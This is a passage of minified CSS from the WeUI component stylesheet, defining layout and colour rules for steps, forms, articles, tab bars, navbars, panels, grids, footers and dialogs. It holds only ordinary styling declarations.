1em);width:var(--weui-STEPS-DOT-SIZE);height:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);height:var(--weui-STEPS-DOT-SIZE);border-radius:100%;background-color:var(--weui-FG-3);background-color:var(--weui-STEPS-DEFAULT-COLOR);top:0;left:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.weui-steps_horizonal-primary .weui-steps__item__inner::after{content:"";background-color:#fff;background-color:var(--weui-BG-2);width:calc((8 / var(--weui-STEPS-FONT-SIZE) * 1em) + 2 * 4px);width:calc(var(--weui-STEPS-DOT-SIZE) + 2 * var(--weui-STEPS-HORIZONAL-DOT-GAP));height:calc((8 / var(--weui-STEPS-FONT-SIZE) * 1em) + 2 * 4px);height:calc(var(--weui-STEPS-DOT-SIZE) + 2 * var(--weui-STEPS-HORIZONAL-DOT-GAP));position:absolute;top:0;left:0;-webkit-transform:translate(calc(-50% + (8 / var(--weui-STEPS-FONT-SIZE) * 1em) / 2),-50%);-webkit-transform:translate(calc(-50% + var(--weui-STEPS-DOT-SIZE) / 2),-50%);transform:translate(calc(-50% + (8 / var(--weui-STEPS-FONT-SIZE) * 1em) / 2),-50%);transform:translate(calc(-50% + var(--weui-STEPS-DOT-SIZE) / 2),-50%)}.weui-steps_horizonal-primary .weui-steps__item_success::before{border-color:var(--weui-BRAND);border-color:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_horizonal-primary .weui-steps__item_success+.weui-steps__item .weui-steps__item__inner::before,.weui-steps_horizonal-primary .weui-steps__item_success .weui-steps__item__inner::before{background:var(--weui-BRAND);background:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_horizonal-center{display:-webkit-box;display:-webkit-flex;display:flex;text-align:center}.weui-steps_horizonal-center .weui-steps__item{-webkit-box-flex:1;-webkit-flex:1;flex:1;position:relative}.weui-steps_horizonal-center .weui-steps__item::after,.weui-steps_horizonal-center .weui-steps__item::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid var(--weui-FG-3);border-top:1px solid var(--weui-STEPS-DEFAULT-COLOR);color:var(--weui-FG-3);color:var(--weui-STEPS-DEFAULT-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-steps_horizonal-center .weui-steps__item::before{right:50%}.weui-steps_horizonal-center .weui-steps__item::after{left:50%}.weui-steps_horizonal-center .weui-steps__item:first-child::before,.weui-steps_horizonal-center .weui-steps__item:last-child::after{display:none}.weui-steps_horizonal-center .weui-steps__item__inner{position:relative;z-index:1;padding-top:36px}.weui-steps_horizonal-center .weui-steps__item__inner::before{content:"";position:absolute;z-index:1;width:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);width:var(--weui-STEPS-DOT-SIZE);height:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);height:var(--weui-STEPS-DOT-SIZE);border-radius:100%;background-color:var(--weui-FG-3);background-color:var(--weui-STEPS-DEFAULT-COLOR);top:0;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.weui-steps_horizonal-center .weui-steps__item__inner::after{content:"";background-color:#fff;background-color:var(--weui-BG-2);width:calc((8 / var(--weui-STEPS-FONT-SIZE) * 1em) + 2 * 4px);width:calc(var(--weui-STEPS-DOT-SIZE) + 2 * var(--weui-STEPS-HORIZONAL-DOT-GAP));height:calc((8 / var(--weui-STEPS-FONT-SIZE) * 1em) + 2 * 4px);height:calc(var(--weui-STEPS-DOT-SIZE) + 2 * var(--weui-STEPS-HORIZONAL-DOT-GAP));position:absolute;top:0;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.weui-steps_horizonal-center .weui-steps__item_success+.weui-steps__item .weui-steps__item__inner::before,.weui-steps_horizonal-center .weui-steps__item_success+.weui-steps__item::before,.weui-steps_horizonal-center .weui-steps__item_success .weui-steps__item__inner::before,.weui-steps_horizonal-center .weui-steps__item_success::after,.weui-steps_horizonal-center .weui-steps__item_success::before{background:var(--weui-BRAND);background:var(--weui-STEPS-HIGHLIGHT-COLOR)}body,page{--weui-cellMarginLR:16px;--weui-cellPaddingLR:16px}.weui-cells__group{border:0}.weui-cells__group:first-child{margin-top:0}.weui-cells__group_form{margin-top:24px}.weui-cells__group_form .weui-cells{margin-left:16px;margin-left:var(--weui-cellMarginLR);margin-right:16px;margin-right:var(--weui-cellMarginLR)}.weui-cells__group_form .weui-cells::after,.weui-cells__group_form .weui-cells::before{left:16px;left:var(--weui-cellPaddingLR);right:16px;right:var(--weui-cellPaddingLR)}.weui-cells__group_form .weui-cell{padding:16px;padding:16px var(--weui-cellPaddingLR)}.weui-cells__group_form .weui-cell::before{left:16px;left:var(--weui-cellPaddingLR);right:16px;right:var(--weui-cellPaddingLR)}.weui-cells__group_form .weui-cell .weui-cell__hd{padding-right:16px}.weui-cells__group_form .weui-cell .weui-cell__ft{padding-left:16px}.weui-cells__group_form .weui-cell_vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;-webkit-box-align:start;-webkit-align-items:flex-start;align-items:flex-start}.weui-cells__group_form .weui-cell_vertical .weui-cell__hd{padding-right:0;margin-bottom:12px}.weui-cells__group_form .weui-cell_vertical .weui-cell__ft{padding-left:0}.weui-cells__group_form .weui-cell_vertical .weui-cell__bd,.weui-cells__group_form .weui-cell_vertical .weui-cell__hd{width:100%}.weui-cells__group_form .weui-cells__title{margin-top:24px;margin-bottom:8px;padding:0 32px}.weui-cells__group_form:first-child .weui-cells__title{margin-top:0}.weui-cells__group_form .weui-cells__tips{margin-top:8px;padding:0 32px;padding:0 calc(var(--weui-cellMarginLR) + var(--weui-cellPaddingLR));color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-cells__group_form .weui-cells__tips a{font-weight:500}.weui-cells__group_form .weui-cells__tips_warn{color:#fa5151;color:var(--weui-RED)}.weui-cells__group_form .weui-label{max-width:5em;margin-right:8px}.weui-cells__group_form .weui-cell_access:active::after,.weui-cells__group_form .weui-cell_active:active::after{border-radius:8px}.weui-cells__group_form .weui-cell_warn input{color:#fa5151;color:var(--weui-RED)}.weui-cells__group_form .weui-cell_disabled:active::after,.weui-cells__group_form .weui-cell_readonly:active::after,.weui-cells__group_form .weui-cell_switch:active::after,.weui-cells__group_form .weui-cell_vcode:active::after,.weui-cells__group_form .weui-icon-warn{display:none}.weui-cells__group_form input,.weui-cells__group_form label[for],.weui-cells__group_form textarea{-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-cells__group_form .weui-cell_wrap{-webkit-box-align:initial;-webkit-align-items:initial;align-items:initial;padding-top:8px;padding-bottom:8px}.weui-cells__group_form .weui-cell_wrap .weui-cell__hd{padding-right:0}.weui-cells__group_form .weui-cell_wrap .weui-label{margin-top:8px;margin-bottom:8px}.weui-cells__group_form .weui-cell_wrap .weui-cell__bd{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-cells__group_form .weui-cell__control{margin:8px 0 8px 16px}.weui-cells__group_form .weui-cell__control_flex{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:30vw}.weui-cells__group_form .weui-vcode-btn{font-size:16px;padding:0 12px;height:auto;min-width:0;line-height:2;border-radius:6px;color:rgba(0,0,0,.9);color:var(--weui-FG-0);background-color:rgba(0,0,0,.05);background-color:var(--weui-FG-5)}.weui-cells__group_form .weui-vcode-btn::after{display:none}.weui-cells__group_form .weui-vcode-btn.weui-btn_disabled,.weui-cells__group_form .weui-vcode-btn[disabled]{color:rgba(0,0,0,.15);color:var(--weui-FG-4);background-color:rgba(0,0,0,.05);background-color:var(--weui-FG-5)}.weui-cells__group_form .weui-cell_vcode.weui-cell_wrap{padding-top:4px;padding-bottom:4px}.weui-cells__group_form .weui-cell_vcode.weui-cell_wrap .weui-label{margin-top:12px}.weui-cells__group_form .weui-cell_vcode.weui-cell_wrap .weui-input{font-size:17px;min-height:1.88235294em}.weui-cells__group_form .weui-cells_checkbox .weui-check__label::before{left:56px;left:calc(40px + var(--weui-cellPaddingLR))}.weui-cells__group_form .weui-cell_select{padding:0}.weui-cells__group_form .weui-cell_select-before .weui-cell__hd{padding-right:0}.weui-cells__group_form .weui-cell_switch{padding:12px 16px}.weui-cells__group_form-primary{margin-top:32px}.weui-cells__group_form-primary .weui-cells{background:#f7f7f7;background:var(--weui-BG-1);border-radius:8px;overflow:hidden}.weui-cells__group_form-primary .weui-cells::after,.weui-cells__group_form-primary .weui-cells::before{display:none}.weui-cells__group_form-primary .weui-cell_access:active::after,.weui-cells__group_form-primary .weui-cell_active:active::after{border-radius:0}.weui-form{padding:56px 0 0;padding:calc(56px + constant(safe-area-inset-top)) constant(safe-area-inset-right) constant(safe-area-inset-bottom) constant(safe-area-inset-left);padding:calc(56px + env(safe-area-inset-top)) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;line-height:1.4;min-height:100%;box-sizing:border-box;background-color:#fff;background-color:var(--weui-BG-2)}.weui-form .weui-footer,.weui-form .weui-footer__link{font-size:14px}.weui-form__bd{-webkit-box-flex:1;-webkit-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-form__text-area{padding:0 32px;color:rgba(0,0,0,.9);color:var(--weui-FG-0);text-align:center}.weui-form__control-area{-webkit-box-flex:1;-webkit-flex:1;flex:1;margin:48px 0}.weui-form__extra-area,.weui-form__tips-area{margin-bottom:24px;padding:0 32px;text-align:center}.weui-form__extra-area{margin-top:52px}.weui-form__opr-area{padding:0 32px}.weui-form__opr-area:last-child{margin-bottom:96px}.weui-form__opr-area+.weui-form__tips-area{margin-top:16px;margin-bottom:0}.weui-form__tips-area+.weui-form__extra-area{margin-top:32px}.weui-form__tips-area:last-child{margin-bottom:60px}.weui-form__title{font-size:22px;font-weight:500;line-height:1.36}.weui-form__desc{font-size:17px;margin-top:16px}.weui-form__tips__group{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-form__tips__group_primary{max-width:100%}.weui-form__tips__group_primary,.weui-form__tips__wrp{display:-webkit-inline-box;display:-webkit-inline-flex;display:inline-flex}.weui-form__tips__wrp{text-align:left;margin:8px 0}.weui-form__tips__wrp:first-child{margin-top:0}.weui-form__tips__wrp:last-child{margin-bottom:0}.weui-form__tips{color:rgba(0,0,0,.55);color:var(--weui-FG-1);font-size:14px}.weui-form__tips a,.weui-form__tips navigator{color:#576b95;color:var(--weui-LINK)}.weui-form__tips navigator{display:inline}.weui-article{padding:48px 24px;padding:48px calc(24px + constant(safe-area-inset-right)) calc(48px + constant(safe-area-inset-bottom)) calc(24px + constant(safe-area-inset-left));padding:48px calc(24px + env(safe-area-inset-right)) calc(48px + env(safe-area-inset-bottom)) calc(24px + env(safe-area-inset-left));color:rgba(0,0,0,.9);color:var(--weui-FG-0);font-size:17px;line-height:1.6;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-article section{margin-bottom:48px}.weui-article section section{margin-bottom:32px}.weui-article section section section{margin-bottom:24px}.weui-article h1,.weui-article h2,.weui-article h3,.weui-article h4,.weui-article h5,.weui-article h6{line-height:1.4}.weui-article h1{font-size:22px;font-weight:500;margin-bottom:48px;text-align:center}.weui-article h2{font-size:20px;font-weight:500;margin-bottom:16px}.weui-article h3{font-size:17px;font-weight:500;margin-bottom:8px}.weui-article h4{margin-bottom:4px}.weui-article h4,.weui-article h5,.weui-article h6{font-size:17px;font-weight:400}.weui-article *{max-width:100%;box-sizing:border-box;word-wrap:break-word}.weui-article img{vertical-align:bottom}.weui-article p{margin:0 0 24px}.weui-article ol,.weui-article ul{margin-left:1.2em;margin-bottom:24px}.weui-article ol ol,.weui-article ol ul,.weui-article ul ol,.weui-article ul ul{margin:.5em 0 .5em 1.2em}.weui-article ol{list-style:decimal}.weui-article ul{list-style:disc}.weui-article li{margin:.5em 0}.weui-article .weui-article__list_inside{margin-left:0}.weui-article .weui-article__list_inside li{list-style-position:inside}.weui-article .weui-article__list_none{margin-left:0}.weui-article .weui-article__list_none li{list-style:none}.weui-tabbar{display:-webkit-box;display:-webkit-flex;display:flex;position:relative;z-index:500;background-color:#f7f7f7;background-color:var(--weui-BG-1)}.weui-tabbar::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-tabbar__item{display:block;-webkit-box-flex:1;-webkit-flex:1;flex:1;padding:8px 0;padding-bottom:calc(8px + constant(safe-area-inset-bottom));padding-bottom:calc(8px + env(safe-area-inset-bottom));font-size:0;color:rgba(0,0,0,.55);color:var(--weui-FG-1);text-align:center;-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-tabbar__item:first-child{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.weui-tabbar__item:last-child{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.weui-tabbar__item.weui-bar__item_on .weui-tabbar__icon,.weui-tabbar__item.weui-bar__item_on .weui-tabbar__icon>i,.weui-tabbar__item.weui-bar__item_on .weui-tabbar__label{color:#07c160;color:var(--weui-BRAND)}.weui-tabbar__icon{display:inline-block;font-size:10px;width:2.8em;height:2.8em;margin-bottom:2px}.weui-tabbar__icon>i,i.weui-tabbar__icon{font-size:24px;color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-tabbar__icon img{width:100%;height:100%}.weui-tabbar__label{color:rgba(0,0,0,.9);color:var(--weui-FG-0);font-size:10px;line-height:1.4}.weui-navbar{display:-webkit-box;display:-webkit-flex;display:flex;position:relative;z-index:500;background-color:#fff;background-color:var(--weui-BG-2);padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.weui-navbar::after{content:" ";position:absolute;left:0;bottom:0;right:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-navbar+.weui-tab__panel{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.weui-navbar__item{position:relative;display:block;-webkit-box-flex:1;-webkit-flex:1;flex:1;padding:16px 0;padding-top:calc(16px + constant(safe-area-inset-top));padding-top:calc(16px + env(safe-area-inset-top));text-align:center;font-size:17px;line-height:1.41176471;-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-navbar__item.weui-bar__item_on,.weui-navbar__item:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-navbar__item::after{content:" ";position:absolute;right:0;top:0;width:1px;bottom:0;border-right:1px solid rgba(0,0,0,.1);border-right:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-navbar__item:first-child{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.weui-navbar__item:last-child{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.weui-navbar__item:last-child::after{display:none}.weui-tab{display:-webkit-box;display:-webkit-flex;display:flex;height:100%;box-sizing:border-box;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-tab__panel{box-sizing:border-box;-webkit-box-flex:1;-webkit-flex:1;flex:1;overflow:auto;-webkit-overflow-scrolling:touch}.weui-tab__content{display:none}.weui-progress{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-progress__bar{background-color:#ededed;background-color:var(--weui-BG-0);height:3px;-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-progress__inner-bar{width:0;height:100%;background-color:#07c160;background-color:var(--weui-BRAND)}.weui-progress__opr{display:block;margin-left:15px;font-size:0}.weui-panel{background-color:#fff;background-color:var(--weui-BG-2);margin-top:10px;position:relative;overflow:hidden}.weui-panel:first-child{margin-top:0}.weui-panel::before{top:0;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-panel::after,.weui-panel::before{content:" ";position:absolute;left:0;right:0;height:1px;color:rgba(0,0,0,.1);color:var(--weui-FG-3)}.weui-panel::after{bottom:0;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-panel .weui-cells::after{display:none}.weui-panel__hd{padding:16px 16px 13px;color:rgba(0,0,0,.9);color:var(--weui-FG-0);font-size:15px;font-weight:500;position:relative}.weui-panel__hd::after{content:" ";position:absolute;left:0;bottom:0;right:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5);left:15px}.weui-media-box{padding:16px;position:relative}.weui-media-box::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5);left:16px}.weui-media-box:first-child::before{display:none}a.weui-media-box{color:#000;-webkit-tap-highlight-color:rgba(0,0,0,0)}a.weui-media-box:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-media-box__title{display:block;font-weight:400;font-size:17px;color:rgba(0,0,0,.9);color:var(--weui-FG-0);width:auto;white-space:nowrap;word-wrap:normal}.weui-media-box__desc,.weui-media-box__title{line-height:1.4;overflow:hidden;text-overflow:ellipsis;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-media-box__desc{color:rgba(0,0,0,.3);color:var(--weui-FG-2);font-size:14px;padding-top:4px;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.weui-media-box__info{display:block;margin-top:16px;padding-bottom:4px;font-size:13px;color:rgba(0,0,0,.3);color:var(--weui-FG-2);line-height:1em;list-style:none;overflow:hidden}.weui-media-box__info__meta{float:left;padding-right:1em}.weui-media-box__info__meta_extra{padding-left:1em;border-left:1px solid rgba(0,0,0,.3);border-left:1px solid var(--weui-FG-2)}.weui-media-box_appmsg{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-media-box_appmsg .weui-media-box__hd{margin-right:16px;width:60px;height:60px;line-height:60px;text-align:center}.weui-media-box_appmsg .weui-media-box__thumb{width:100%;max-height:100%;vertical-align:top}.weui-media-box_appmsg .weui-media-box__bd{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:0}.weui-media-box_small-appmsg{padding:0}.weui-media-box_small-appmsg .weui-cells{margin-top:0}.weui-media-box_small-appmsg .weui-cells::before{display:none}.weui-grids{position:relative;overflow:hidden}.weui-grids::before{right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-grids::after,.weui-grids::before{content:" ";position:absolute;left:0;top:0;color:rgba(0,0,0,.1);color:var(--weui-FG-3)}.weui-grids::after{width:1px;bottom:0;border-left:1px solid rgba(0,0,0,.1);border-left:1px solid var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-grid{position:relative;float:left;padding:20px 10px;width:33.33333333%;box-sizing:border-box}.weui-grid::before{top:0;width:1px;border-right:1px solid rgba(0,0,0,.1);border-right:1px solid var(--weui-FG-3);-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-grid::after,.weui-grid::before{content:" ";position:absolute;right:0;bottom:0;color:rgba(0,0,0,.1);color:var(--weui-FG-3)}.weui-grid::after{left:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-grid:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-grid__icon{width:28px;height:28px;margin:0 auto}.weui-grid__icon img{display:block;width:100%;height:100%}.weui-grid__icon+.weui-grid__label{margin-top:4px}.weui-grid__label{display:block;color:rgba(0,0,0,.9);color:var(--weui-FG-0);white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.weui-footer,.weui-grid__label{text-align:center;font-size:14px}.weui-footer{color:rgba(0,0,0,.2);line-height:1.4}.wx-root[data-weui-theme="dark"] .weui-footer,body[data-weui-theme="dark"] .weui-footer{color:hsla(0,0%,100%,.2)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-footer,body:not([data-weui-theme="light"]) .weui-footer{color:hsla(0,0%,100%,.2)}}.weui-footer a,.weui-footer navigator{color:#576b95;color:var(--weui-LINK)}.weui-footer navigator{display:inline}.weui-footer_fixed-bottom{position:fixed;bottom:0;left:0;right:0;padding-top:16px;padding-bottom:16px;padding-bottom:calc(16px + constant(safe-area-inset-bottom));padding-bottom:calc(16px + env(safe-area-inset-bottom));left:constant(safe-area-inset-left);left:env(safe-area-inset-left);right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.weui-footer__links{font-size:0}.weui-footer__link{display:inline-block;vertical-align:top;margin:0 8px;position:relative;font-size:14px}.weui-footer__link::before{content:" ";position:absolute;left:0;top:0;width:1px;bottom:0;border-left:1px solid rgba(0,0,0,.1);border-left:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5);left:-8px;top:.36em;bottom:.36em}.weui-footer__link:first-child::before{display:none}.weui-footer__text{padding:0 16px;font-size:12px}.weui-flex{display:-webkit-box;display:-webkit-flex;display:flex}.weui-flex__item{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:0}.weui-dialog{position:fixed;z-index:5000;top:50%;left:16px;right:16px;-webkit-transform:translateY(-50%);transform:translateY(-50%);background-color:#fff;background-color:var(--weui-BG-2);text-align:center;border-radius:12px;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-direction:column;-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;max-height:90%;outline:0;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-dialog__hd{padding:32px 24px 16px}.weui-dialog__title{font-weight:500;font-size:17px;line-height:1.4;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-dialog__bd{overflow-y:auto;-webkit-overflow-scrolling:touch;padding:0 24px;margin-bottom:32px;font-size:17px;line-height:1.4;color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-dialog__bd:first-child{min-height:40px;padding:32px 24px 0;font-weight:500;color:rgba(0,0,0,.9);color:var(--weui-FG-0);-webkit-flex-direction:column;-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-dialog__bd:first-child,.weui-dialog__ft{display:-webkit-box;display:-webkit-flex;display:flex}.weui-dialog__ft{position:relative;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-dialog__ft::after{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-DIALOG-LINE-COLOR);color:rgba(0,0,0,.1);color:var(--weui-DIALOG-LINE-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-dialog__btn{-webkit-box-flex:1;-webkit-flex:1;flex:1;display:block;line-height:1.41176471;padding:20px 8px;font-size:17px;color:#576b95;color:var(--weui-LINK);font-weight:500;text-decoration:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;user-select:none;position:relative;overflow:hidden}.weui-dialog__btn:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-dialog__btn::after{content:" ";position:absolute;left:0;top:0;width:1px;bottom:0;border-left:1px solid rgba(0,0,0,.1);border-left:1px solid var(--weui-DIALOG-LINE-COLOR);color:rgba(0,0,0,.1);color:var(--weui-DIALOG-LINE-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-dialog__btn:first-child::after{display:none}.weui-dialog__btn_default{color:rgba(0,0,0,.9);color:var(--weui-FG-HALF)}.weui-dialog__btn_warn{color:#fa5151;color:var(--weui-RED)}.weui-dialog__btn_disabled{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-dialog_btn-wrap .weui-dialog__ft{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;-webkit-box-align:initial;-webkit-align-items:initial;align-items:initial}.weui-dialog_btn-wrap .weui-dialog__btn::after{width:auto;bottom:auto;right:0;height:1px;-webkit-transform:scaleY(.5);transform:scaleY(.5);border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-DIALOG-LINE-COLOR);border-left:0}.weui-dialog_btn-wrap .weui-dialog__btn:first-child::after{display:none}.weui-skin_android .weui-dialog{text-align:left;box-shadow:0 6px 30px 0 rgba(0,0,0,.1)}.weui-skin_android .weui-dialog__title{font-size:22px;line-height:1.4}.weui-skin_android .weui-dialog__hd{text-align:left}.weui-skin_android .weui-dialog__bd{color:rgba(0,0,0,.55);color:var(--weui-FG-1);text-align:left}.weui-skin_android .weui-dialog__bd:first-child{color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-skin_android .weui-dialog__ft{display:block;text-align:right;line-height:40px;min-height:40px;padding:0 24px 16px}.weui-skin_android .weui-dialog__ft::after{display:none}.weui-skin_android .weui-dialog__btn{display:inline-block;vertical-align:top;padding:0 .8em}.weui-skin_android .weui-dialog__btn::after{display:none}.weui-skin_android .weui-dialog__btn:last-child{margin-right:-.8em}.weui-skin_android .weui-dialog__btn_default{color:rgba(0,0,0,.9);color:var(--weui-FG-HALF)}@media screen and (min-width:352px){.weui-dialog{width:320px;margin:0 auto}}.weui-half-screen-dialog{position:fixed;left:0;right:0;bottom:0;min-height:255px;max-height:75%;z-index:5000;line-height:1.4;background-color:#fff;background-color:var(--weui-BG-2);color:rgba(0,0,0,.9);color:var(--weui-FG-0);border-top-left-radius:12px;border-top-right-radius:12px;overflow:hidden;padding:0 24px;padding:0 calc(24px + constant(safe-area-inset-right)) constant(safe-area-inset-bottom) calc(24px + constant(safe-area-inset-left));padding:0 calc(24px + env(safe-area-inset-right)) env(safe-area-inset-bottom) calc(24px + env(safe-area-inset-left));box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;outline:0}@media only screen and (max-device-height:558px){.weui-half-screen-dialog{max-height:calc(100% - 16px)}}.weui-half-screen-dialog__hd{min-height:64px;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-flex-shrink:0;flex-shrink:0}.weui-half-screen-dialog__hd .weui-btn_icon{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);color:inherit}.weui-half-screen-dialog__hd .weui-btn_icon:active{opacity:.5}.weui-half-screen-dialog__hd .weui-half-screen-dialog__hd__action-group{position:absolute;top:50%;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-half-screen-dialog__hd .weui-half-screen-dialog__hd__action{margin-right:16px;position:static;-webkit-transform:none;transform:none}.weui-half-screen-dialog__hd .weui-half-screen-dialog__hd__action.weui-wa-hotarea{position:relative}.weui-half-screen-dialog__hd .weui-half-screen-dialog__hd__action.weui-link{font-size:15px}.weui-half-screen-dialog__hd__side{position:relative;left:-8px}.weui-half-screen-dialog__hd__main{-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-half-screen-dialog__hd__side+.weui-half-screen-dialog__hd__main{text-align:center;padding:0 40px}.weui-half-screen-dialog__hd__main+.weui-half-screen-dialog__hd__side{right:-8px;left:auto}.weui-half-screen-dialog__hd__main+.weui-half-screen-dialog__hd__side .weui-half-screen-dialog__hd__action-group{right:0}.weui-half-screen-dialog__hd__main+.weui-half-screen-dialog__hd__side .weui-half-screen-dialog__hd__action{margin-right:0;margin-left:16px}.weui-half-screen-dialog__hd__main+.weui-half-screen-dialog__hd__side .weui-btn_icon,.weui-half-screen-dialog__hd__main+.weui-half-screen-dialog__hd__side 